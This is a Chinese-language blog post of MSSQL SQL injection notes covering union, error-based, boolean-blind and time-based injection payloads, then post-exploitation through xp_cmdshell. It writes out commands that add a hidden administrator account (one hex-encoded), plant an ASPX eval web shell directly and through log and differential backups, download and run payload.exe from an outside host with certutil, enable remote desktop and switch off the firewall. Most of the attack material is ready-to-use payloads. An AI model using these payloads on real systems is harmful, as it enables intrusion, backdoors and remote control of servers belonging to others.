MSSQL小结


title: MSSQL小结
date: 2020-04-08 16:10:51
tags:

  • MSSQL
  • 总结
  • 漏洞
    categories: 知识整理

toc: true

MSSQL是指微软的SQL Server数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库。

SQL Server手工注入

MSSQL是指微软的SQL Server数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库

MSSQL中每个库都有一个系统自带表-->sysobjects

此系统表中对我们有用的只有3个字段,NAME字段和XTYPE字段和ID字段,name就是表名信息,xtype是代表表的类型,只有两个参数,S代表系统自带表,U代表用户创建的表,id字段的值用来连接syscolumns表

通用

三个权限:sysadmindb_ownerpublic

  • sysadmin:可以执行所有操作
  • db_owner:可以执行数据库操作
  • public:只能执行查询操作

数据库判断

;and user>0
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access

常用函数/语句

if() 
exists()
SysDatabases        -- 主数据库服务器中的数据库. 初安装 SQL Server 时,sysdatabases 包含 master,model,msdb,mssqlweb和tempdb数据库的项。该表只存储在 master 数据库中。
SysObjects             --在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行。只有在 tempdb 内,每个临时对象才在该表中占一行。
SysColumns            -- 每个数据库创建后都会有一些系统表用来存储该数据库的一些基本信息。每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。
select @@version -- 版v本
select db_name() -- 库名
select user -- 用户名
select @@SERVERNAME -- 服务器主机名
select IS_SRVROLEMEMBER('sysadmin') --判断是不是管理员,是则返回1 ,否返回0
exec master..xp_cmdshell "ipconfig" --调用xp_cmdshell执行系统命令

Select Name FROM Master..SysDatabases order by Name -- 获取所有数据库名
Select Name FROM SysObjects Where XType='U' orDER BY Name  -- 当前库的表名
-- XType='U':表示所有用户表; 
-- XType='S':表示所有系统表;
Select Name FROM SysColumns Where id=Object_Id('表名') -- 指定表的字段名

SysDatabases介绍

SysDatabases主数据库服务器中的数据库. 初安装 SQL Server 时,sysdatabases 包含 master,model,msdb,mssqlweb和tempdb数据库的项。该表只存储在 master 数据库中。表结构如下:

列名数据类型描述
namesysname数据库的名称。
dbidsmallint数据库 ID。
sidvarbinary(85)数据库创建者的系统 ID。
modesmallint用于创建数据库时在内部锁定该数据库。
statusint状态位,其中某些状态位可由用户使用 sp_dboption ( read only 、 dbo use only 、 single user 等)进行设置:
1 = autoclose ;使用 sp_dboption 设置。
4 = select into/bulkcopy ;使用 sp_dboption 设置。
8 = trunc. log on chkpt ;使用 sp_dboption 设置。
16 = torn page detection ,使用 sp_dboption 设置。
32 = loading 。
64 = pre recovery 。
128 = recovering 。
256 = not recovered 。
512 = offline ;使用 sp_dboption 设置。
1024 = read only ;使用 sp_dboption 设置。
2048 = dbo use only ;使用 sp_dboption 设置。
4096 = single user ;使用 sp_dboption 设置。
32768 = emergency mode 。
4194304 = autoshrink 。
1073741824 = cleanly shutdown 。
可以同时打开多个位。
status2int16384 = ANSI null default ;使用 sp_dboption 设置。
65536 = concat null yields null ,使用 sp_dboption 设置。
131072 = recursive triggers ,使用 sp_dboption 设置。
1048576 = default to local cursor ,使用 sp_dboption 设置。
8388608 = quoted identifier ,使用 sp_dboption 设置。
33554432 = cursor close on commit ,使用 sp_dboption 设置。
67108864 = ANSI nulls ,使用 sp_dboption 设置。
268435456 = ANSI warnings ,使用 sp_dboption 设置。
536870912 = full text enabled ,使用 sp_fulltext_database 设置。
crdatedatetime创建日期。
reserveddatetime留作以后使用。
categoryint包含用于复制的信息位图: 1 = 已发布。 2 = 已订阅。 4 = 合并已发布。 8 = 合并已订阅。
cmptleveltinyint数据库的兼容级别。
filenamenvarchar(260)数据库主文件的操作系统路径和名称。
versionsmallint创建数据库时使用的 SQL Server 代码内部版本号。仅供 SQL Server 工具在内部用于升级处理。

SysObjects介绍

SysObjects,在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行。只有在 tempdb 内,每个临时对象才在该表中占一行。表结构如下:

列名数据类型描述
namesysname对象名,常用列
idint对象标识号
xtypechar(2)对象类型。常用列。xtype可以是下列对象类型中的一种:
C = CHECK 约束  
D = 默认值或 DEFAULT 约束  
F = FOREIGN KEY 约束  
L = 日志  
FN = 标量函数
IF = 内嵌表函数  
P = 存储过程  
PK = PRIMARY KEY 约束(类型是 K)  
RF = 复制筛选存储过程
S = 系统表  
TF = 表函数  
TR = 触发器  
U = 用户表  
UQ = UNIQUE 约束(类型是 K)
V = 视图  
X = 扩展存储过程
uidsmallint所有者用户对象编号
infosmallint保留。仅限内部使用
statusint保留。仅限内部使用
base_schema_ verint保留。仅限内部使用
replinfoint保留。供复制使用
parent_objint父对象的对象标识号(例如,对于触发器或约束,该标识号为表 ID)。
crdatedatetime对象的创建日期。
ftcatidsmallint为全文索引注册的所有用户表的全文目录标识符,对于没有注册的所有用户表则为 0
schema_verint版本号,该版本号在每次表的架构更改时都增加。
stats_schema_ verint保留。仅限内部使用。
typechar(2)对象类型。可以是下列值之一:
C = CHECK 约束
D = 默认值或 DEFAULT 约束
F = FOREIGN KEY 约束
FN = 标量函数
IF = 内嵌表函数
K = PRIMARY KEY 或 UNIQUE 约束
L = 日志
P = 存储过程
R = 规则
RF = 复制筛选存储过程
S = 系统表
TF = 表函数
TR = 触发器
U = 用户表
V = 视图
X = 扩展存储过程
userstatsmallint保留。
sysstatsmallint内部状态信息
indexdelsmallint保留
refdatedatetime留用
versionint保留
deltrigint保留
instrigint保留
updtrigint保留
seltrigint保留
categoryint用于发布、约束和标识
cachesmallint保留

SysColumns介绍

SysColumns每个数据库创建后都会有一些系统表用来存储该数据库的一些基本信息。每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。表结构如下:

列名数据类型描述
namesysname列名或过程参数的名称。
idint该列所属的表对象 ID,或与该参数关联的存储过程 ID。
xtypetinyintsystypes 中的物理存储类型。
typestattinyint仅限内部使用。
xusertypesmallint扩展的用户定义数据类型 ID。
lengthsmallintsystypes 中的最大物理存储长度。
xprectinyint仅限内部使用。
xscaletinyint仅限内部使用。
colidsmallint列或参数 ID。
xoffsetsmallint仅限内部使用。
bitpostinyint仅限内部使用。
reservedtinyint仅限内部使用。
colstatsmallint仅限内部使用。
cdefaultint该列的默认值 ID。
domainint该列的规则或 CHECK 约束 ID。
numbersmallint过程分组时(0 表示非过程项)的子过程号。
colordersmallint仅限内部使用。
autovalvarbinary(255)仅限内部使用。
offsetsmallint该列所在行的偏移量;如果为负,表示可变长度行。
statustinyint用于描述列或参数属性的位图:
0x08 = 列允许空值。
0x10 = 当添加 varchar 或 varbinary列时,ANSI 填充生效。保留 varchar 列的尾随空格,保留 varbinary 列的尾随零。
0x40 = 参数为 OUTPUT 参数。
0x80 = 列为标识列。
typetinyintsystypes 中的物理存储类型。
usertypesmallintsystypes 中的用户定义数据类型 ID。
printfmtvarchar(255)仅限内部使用。
precsmallint该列的精度级别。
scaleint该列的小数位数。
iscomputedint表示是否已计算该列的标志: 0 = 未计算。 1 = 已计算。
isoutparamint表示该过程参数是否是输出参数: 1 = 真。 0 = 假。
isnullableint表示该列是否允许空值: 1 = 真。 0 = 假。

默认数据库

库名适用版本
pubs不适用于MSSQL 2005
model适用于所有版本
msdb适用于所有版本
tempdb适用于所有版本
northwind适用于所有版本
information_schema适用于MSSQL 2000及更高版本

注释风格

注释符注释风格
/ *C语言风格注释
--SQL注释
; 00%空字节

数据库凭据

类型数据库标识
数据库表master..syslogins, master..sysprocesses
列名name, loginame
当前用户user, system_user, suser_sname(), is_srvrolemember('sysadmin')
数据库凭据SELECT user, password FROM master.dbo.sysxlogins # 注意权限

显性注入

该示例使用在线环境测试:https://rextester.com/l/sql_server_online_compiler

(本小节中语句均为自己构造。)

报错注入

  • 首先确定字段数order by N--
-- 确定字段数
select ProductID from t where ProductID=68 order by 1 --

-- 确定可利用字段数 (这里两个字段名一样为了假装多个字段。。。)
select ProductID,ProductID from t where ProductID=68 and 1=2 union select 1,2
  • 查询数据库
-- 查询当前库
select ProductID,ProductID from t where ProductID=68 and 1=2 union Select 1,db_name()

-- 依次使用 != 查询数据库名称
select ProductID,ProductID from t where ProductID=68 and 1=2 union Select 1,Name FROM Master..SysDatabases where name != 'master' and name != 'model'
  • 查询表
-- 当前库的第一个表
select ProductID,ProductID from t where ProductID=68 and 1=2 union SELECT TOP 1 table_name,1 FROM information_schema.tables 

-- 利用 != 依次判断当前库中的表
select ProductID,ProductID from t where ProductID=68 and 1=2 union SELECT TOP 1 table_name,1 FROM information_schema.tables where table_name !='Pilots' and table_name != 'Planes' and table_name != 'Flights' and table_name != 'Pilots_on_flights' and table_name != 't'     

-- 用户
select ProductID,ProductID from t where ProductID=68 and 1=2 union SELECT 1,name FROM master..sysobjects WHERE xtype='U'
  • 字段名
-- 当前库的第一个表的第一个字段名
select ProductID,ProductID from t where ProductID=68 and 1=2 union SELECT TOP 1 column_name,1 FROM information_schema.columns

-- 依次查询当前查询所使用的表的字段名

select ProductID,ProductID from t where ProductID=68 and 1=2 union SELECT TOP 1 column_name,1 FROM information_schema.columns where column_name != 'Birth_date'

--(如果需要指定表名:where table_name='xx'或者 where table_name=十六进制表名)
select ProductID,ProductID from t where ProductID=68 and 1=2 union SELECT TOP 1 column_name,1 FROM information_schema.columns where table_name = 'Pilots' and column_name != 'ID'
  • 字段内容
-- 查询指定表中指定字段内容
select ProductID,ProductID from t where ProductID=68 and 1=2 union SELECT 1,ProductID from t

-- 依次查询。。
select ProductID,ProductID from t where ProductID=68 and 1=2 union SELECT 1,ProductID from t where ProductID != 68

报错注入函数

convert()函数,CONVERT()函数是把⽇期转换为新数据类型的通⽤函数。除此之外还有:file_name(), db_name(),col_name(),filegroup_name(),object_name(),schema_name(),type_name(),cast()

CONVERT(data_type(length),data_to_be_converted,style)
注释 :
data_type(length) 转换为⽬标数据类型(带有可选的长度)。
data_to_be_converted 含有需要转换的值。
style 规定⽇期/时间的输出格式。

convert(@@version)
db_name(@@version)
file_name(@@version)
col_name(1,@@version)
filegroup_name(@@version)
object_name(@@version)
schema_name(@@version)
type_name(@@version)
cast(@@version as int)   -- CAST (expression AS data_type)  表达式 as 数据类型

示例

CONVERT(VARCHAR(19),GETDATE())
CONVERT(VARCHAR(10),GETDATE(),110) 
CONVERT(VARCHAR(11),GETDATE(),106)
CONVERT(VARCHAR(24),GETDATE(),113)

Dec 29 2008 11:45 PM
12-29-2008
29 Dec 08
29 Dec 2008 16:25:46.635

原理

对于 convert(int,@@version)convert 函数⾸先会执⾏第⼆个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,⽆法进⾏指定的转换,所以,convert函数会抛出 ⼀个SQL server错误消息,指出“SQL查询结果”⽆法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了。

具体示例参考:(前提是有错误信息返回)。

select ProductID from t where ProductID=68 and 1=2 union Select convert(int,@@version)

盲注

该示例使用在线环境测试:http://sqlfiddle.com/#!18/ff6b8/13591

(本小节中语句均为自己构造。) 页面中选中SQL Server 2017 ,点击 view sample fiddle会有默认的语句。

CREATE TABLE ForgeRock
    ([productName] varchar(13), [description] varchar(57))
;

INSERT INTO ForgeRock
    ([productName], [description])
VALUES
    ('OpenIDM', 'Platform for building enterprise provisioning solutions'),
    ('OpenAM', 'Full-featured access management'),
    ('OpenDJ', 'Robust LDAP server for Java')
;

Bool盲注

页面只有两个状态,返回正常,返回错误。也即是只有正确与否。

盲注所用主要函数为:len(str)判断长度,substring(str,start,end)截取字符串,ascii(char)判断字符串的ASCII值。

len(str) 判断字符串的长度
substring(str,start,len) 截取字符串的作用,第一个参数为要截取的字符串,第二个参数为从哪里开始截取,第三个参数为截取的长度
ascii(char) 把字符转换为ascii值

数据库名判断

根据,使用len()来猜数据库名的长度查询:

-- 无回显下语句执行成功
select count(*) from master.dbo.sysdatabases where dbid=1 and len(name)=6
  • 猜数据库名称的长度
-- 当前库名
select productName from ForgeRock where productName = 'OpenIDM' and  len(db_name())=11

-- 根据dbid依次查询数据库名 (这里是dbid=1是master)
select productName from ForgeRock where productName = 'OpenIDM' and 1=(select count(*) from master.dbo.sysdatabases where dbid=1 and len(name)=6)
  • 逐字符判断数据库名
-- 当前库的名(截取字符串第一个字符)
select productName from ForgeRock where productName = 'OpenIDM' and ascii(substring(db_name(),1,1))=100

-- 根据dbid依次查询数据库名(这里是dbid=1是master)
select productName from ForgeRock where productName = 'OpenIDM' and 109=ascii(substring((select name from master.dbo.sysdatabases where dbid=1),1,1))

表名判断

-- 指定数据库db_18_8acef查询表
select name from db_18_8acef.dbo.sysobjects
  • 判断表名的长度
-- 判断当前表的长度
 select productName from ForgeRock where productName = 'OpenIDM' and 9=len((select name from db_18_8acef.dbo.sysobjects where name in (select name from db_18_8acef.dbo.sysobjects where xtype='u')))
 
 -- 这种方式也是一样的。
 select productName from ForgeRock where productName = 'OpenIDM' and (select count(*) from db_18_8acef.dbo.sysobjects where name in (select top 1 name from db_18_8acef.dbo.sysobjects where xtype='u') and len(name)=9)=1
 
 
 -- 第二个表名 
 select productName from ForgeRock where productName = 'OpenIDM' and 9=len((select name from db_18_8acef.dbo.sysobjects where name in (select name from db_18_8acef.dbo.sysobjects where xtype='u' and name != 'ForgeRock')))
 -- name != 'xx' 可以换成 name not in ('xx')
  • 逐字符判断表名
-- 截取表名字符串第一个字符
select productName from ForgeRock where productName = 'OpenIDM' and 70=ascii(substring((select name from db_18_8acef.dbo.sysobjects where name in (select name from db_18_8acef.dbo.sysobjects where xtype='u')),1,1))

-- 这种方式也是一样的。
select productName from ForgeRock where productName = 'OpenIDM' and (select count(*) from db_18_8acef.dbo.sysobjects where name in (select top 1 name from db_18_8acef.dbo.sysobjects where xtype='u') and ascii(substring(name,1,1))=70)=1

字段名

  • 字段名长度
-- 查询当前库,当前使用表的字段名
 select productName from ForgeRock where productName = 'OpenIDM' and 11=len((SELECT  top 1 column_name FROM information_schema.columns where column_name != 'description'))
 
-- 查询指定表的字段
select productName from ForgeRock where productName = 'OpenIDM' and  11=len((SELECT TOP 1 column_name FROM information_schema.columns where table_name = 'ForgeRock' and column_name != 'productName'))

-- 这种方式也是一样的。知道了库名,表名,则可以利用syscolumns,sysobjects进行查询。。。如果存在多个同名表则可以使用 != 来限定
 select productName from ForgeRock where productName = 'OpenIDM' and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'ForgeRock') and name not in ('description') and len(name)=11)
  • 逐字符判断字段名
-- 查询当前库,当前使用表的字段名
 select productName from ForgeRock where productName = 'OpenIDM' and ascii(substring((SELECT  top 1 column_name FROM information_schema.columns where column_name != 'description'),1,1))=112
 
-- 查询指定表的字段
select productName from ForgeRock where productName = 'OpenIDM' and  112=ascii(substring((SELECT TOP 1 column_name FROM information_schema.columns where table_name = 'ForgeRock' and column_name != 'description'),1,1))

-- 这种方式也是一样的。
select productName from ForgeRock where productName = 'OpenIDM' and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'ForgeRock') and name not in ('description') and unicode(substring(name,1,1))=112)

字段内容

select productName from ForgeRock where productName = 'OpenIDM' and ascii(substring((select top 1 productName from ForgeRock),1,1))=79

时间延时盲注

主要函数:WAITFOR,IF exists()

WAITFOR是SQL Server中Transact-SQL提供的⼀个流程控制语句。它的作⽤就是等待特定时间,然后继续执⾏后 续的语句。它包含⼀个参数DELAY,⽤来指定等待的时间。

如果将该语句成功注⼊后,会造成数据库返回记录和 Web请求也会响应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注⼊成功。根据Web请求是否有延迟,渗透测试⼈员就可以判断⽹站是否存在注⼊漏洞。同时,由于该语句并不返回特定内容,所以它也是盲注的重要检测⽅法。

WAITFOR DELAY '0:0:n' -- 语法
WAITFOR DELAY '0:0:4' -- 延时4S

-- 示例
select productName from ForgeRock where productName = 'OpenIDM' WAITFOR DELAY '0:0:2'

数据库名

-- 判断数据库是否存在 dbid
select productName from ForgeRock where productName = 'OpenIDM' if ((select count(*) from master.dbo.sysdatabases where dbid=1)=1) waitfor delay '0:0:1'--
  • 数据库名长度
-- 根据dbid依次判断所有数据库名长度
select productName from ForgeRock where productName = 'OpenIDM' if ((select count(*) from master.dbo.sysdatabases where dbid=1 and len(name)=6)=1) waitfor delay '0:0:2'--

-- 当前数据库名长度
select productName from ForgeRock where productName = 'OpenIDM' if(len((select db_name()))=11) waitfor delay '0:0:2'--
  • 逐字符字符判断
-- 当前库
select productName from ForgeRock where productName = 'OpenIDM' if(ascii(substring((select db_name()),1,1))=100) waitfor delay '0:0:2'--

-- 指定数据 逐字符判断
select productName from ForgeRock where productName = 'OpenIDM' if (ascii(substring((Select Name FROM Master..SysDatabases where dbid=8),1,1)) = 100) WAITFOR DELAY '0:0:2'--

数据库中表名

  • 表名长度(!= 判断其他表名)
-- 当前库的表
select productName from ForgeRock where productName = 'OpenIDM' if (len((select name from db_18_ff6b8.dbo.sysobjects where name in (select top 1 name from db_18_ff6b8.dbo.sysobjects where xtype='u')))=9) WAITFOR DELAY '0:0:2'--

-- 依次判断其他的表。 !=
select productName from ForgeRock where productName = 'OpenIDM' if (len((select name from db_18_ff6b8.dbo.sysobjects where name in (select top 1 name from db_18_ff6b8.dbo.sysobjects where xtype='u') and name !='xx'))=9) WAITFOR DELAY '0:0:2'--

-- 一样的
select productName from ForgeRock where productName = 'OpenIDM' if ((select count(*) from db_18_ff6b8.dbo.sysobjects where name in (select top 1 name from db_18_ff6b8.dbo.sysobjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:2'--
  • 逐字符猜表名
-- 逐字符判断表名
select productName from ForgeRock where productName = 'OpenIDM' if (ascii(substring((select name from db_18_ff6b8.dbo.sysobjects where name in (select top 1 name from db_18_ff6b8.dbo.sysobjects where xtype='u')),1,1))=70) WAITFOR DELAY '0:0:2'--

-- 依次判断其他的表。 !=
select productName from ForgeRock where productName = 'OpenIDM' if (ascii(substring((select name from db_18_ff6b8.dbo.sysobjects where name in (select top 1 name from db_18_ff6b8.dbo.sysobjects where xtype='u') and name !='xxxx'),1,1))=70) WAITFOR DELAY '0:0:2'--

-- 一样的
select productName from ForgeRock where productName = 'OpenIDM' if ((select count(*) from db_18_ff6b8.dbo.sysobjects where name in (select top 1 name from db_18_ff6b8.dbo.sysobjects where xtype='u') and ascii(substring(name,1,1))=70)=1) WAITFOR DELAY '0:0:2'--

字段名

  • 字段名长度(!= 判断其他字段名)
-- 判断第一个字段的长度
select productName from ForgeRock where productName = 'OpenIDM' if(len((select top 1 name from syscolumns where id =(select id from sysobjects where name = 'ForgeRock')))=11) WAITFOR DELAY '0:0:2'--

-- 一样的
select productName from ForgeRock where productName = 'OpenIDM' if(exists(select count(*) from syscolumns where id =(select id from sysobjects where name = 'ForgeRock') and len(name)=11))  WAITFOR DELAY '0:0:2'--
  • 逐字符判断字段名
-- 判断第一个字段的字符
select productName from ForgeRock where productName = 'OpenIDM' if(len((select top 1 name from syscolumns where id =(select id from sysobjects where name = 'ForgeRock')))=11) WAITFOR DELAY '0:0:2'--

-- 一样的
select productName from ForgeRock where productName = 'OpenIDM' if(exists(select count(*) from syscolumns where id =(select id from sysobjects where name = 'ForgeRock') and ascii(substring(name,1,1))=79))  WAITFOR DELAY '0:0:2'--

字段内容

--长度
select productName from ForgeRock where productName = 'OpenIDM' if(len((select top 1 productName from ForgeRock))=7) WAITFOR DELAY '0:0:2'--

-- 内容

-- 对,最后的给省略了。。。  ~.~

调用系统命令

开启xp_cmdshell

xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令

 EXEC sp_configure 'show advanced options',1
 RECONFIGURE
 EXEC sp_configure 'xp_cmdshell',1
 RECONFIGURE

无回显判断命令成功与否

DNSLog,ceye...

exec master..xp_cmdshell "ping -n 10 xxx.com" --

DBA权限新建用户

变量是在批处理或过程的主体中用 DECLARE 语句声明的,并用 SET 或 SELECT 语句赋值。 游标变量可使用此语句声明,并可用于其他与游标相关的语句。 除非在声明中提供值,否则声明之后所有变量将初始化为 NULL。

DECLARE @local_variable: @local_variable变量的名称。 变量名必须以 at 符 (@) 开头。

5';DECLARE @genp VARCHAR(8000);SET @genp=0x6e657420757365722061646d696e746573742061646d696e202f616464;EXEC master..xp_cmdshell @genp--
  • 5';EXEC master..xp_cmdshell 'net user an cc.123456 /add'--
  • 1';EXEC master..xp_cmdshell 'net user an cc.12341 /add&&net localgroup administrators an /add'--

写一句话

前提是知道,,,对对对,就是它,,,绝对路径嘛。。。 其实就是调用了系统命令echo

exec master..xp_cmdshell "echo ccc>c:\Inetpub\mssql-sql\1.txt" --
  • 一句话
<% @Page Language="Jscript"%><%eval(Request.Item["cc"],"unsafe");%>

exec master..xp_cmdshell 'echo ^<^%^@Page Language=^"^Jscript^"^%^>^<^%^eval(Request.Item^[^"cc^"^]^,^"unsafe^")^;^%^>>c:\Inetpub\mssql-sql\1.aspx'--
# 注意!如果echo 里面的字符有引号和其他符号,那么我们就要在引号前面加一个 ^ 来转义它!记得用单引号包裹里面的一句话!

Payload执行

原理就是调用了certutil进行下载。

exec master..xp_cmdshell "certutil -urlcache -split -f http://192.168.90.128:9000/payload.exe payload.exe" --

开启远程桌面

  • 是否开启远程桌面,返回1表示关闭,0表示开启
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server' ,'fDenyTSConnections'
  • 读取远程桌面端口
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
  • 开启远程桌面 (方法一)
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
  • 开启远程桌面(方法二)
注册表reg文件开启远程

Windows Registry Editor Version 5.00HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server]"fDenyTSConnections"=dword:00000000[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp]"PortNumber"=dword:00000d3d

保存c.reg,并执行regedit /s c.reg

如果第一次开启远程桌面,需要配置防火墙规则允许远程端口:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow  # 防火墙允许3389
netsh advfirewall set allprofiles state off # 关闭防火墙
  • 关闭远程桌面
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

日志备份获Shell

参考:

低权限情况下。

LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式。

  • 修改数据库恢复为完整模式
admin' ;alter database test set RECOVERY FULL -- 
  • 创建一张表:cmd,只有一个 a 列,类型为 image
create table cmd (a image) --
  • 备份表到C:1.bak
backup log test to disk = 'c:/1.bak' with init --
  • 插入一句话木马到 cmd 表里
insert into cmd (a) values ('<%@ Page Language="Jscript"%><%eval(Request.Item["cc"],"unsafe");%>')--
  • 把操作日志备份到网站根目录
backup log test to disk = 'c:\inetpub\wwwroot\saul.aspx' --
  • 把创建的表删了
drop table cmd--

差异备份

参考:

sql serverdbosa权限都有备份数据库权限,我们可以把数据库备份成aspx文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。

异备份有几率会导致网站挂掉!如果上面的LOG备份拿shell成功的话就尽量别用差异备份拿shell这种方法!具体为啥我也不知道。。。

  • 备份数据库
backup database test to disk = 'c:\bak.bak';--
  • 创建一张表
create table [dbo].[test] ([cmd] [image]);--
  • 写入文件到表
admin';insert into test(cmd) values('<%@ Page Language="Jscript"%><%eval(Request.Item["cc"],"unsafe");%>')--
  • 创建脚本文件
backup database test to disk='c:\inetpub\wwwroot\cc.aspx' WITH DIFFERENTIAL,FORMAT;--

所有原创文章采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。
您可以自由的转载和修改,但请务必注明文章来源并且不可用于商业目的。
本站部分内容收集于互联网,如果有侵权内容、不妥之处,请联系我们删除。敬请谅解!

  Previous post sqlmap关于MSSQL执行命令思考
Next post   已到最新一篇

评论已关闭

成功源于不懈的努力。

暗自伤心,不如立即行动。

再多一点努力,就多一点成功。

得意淡然,失意坦然;喜而不狂,忧而不伤。

海纳百川,有容乃大;壁立千仞,无欲则刚。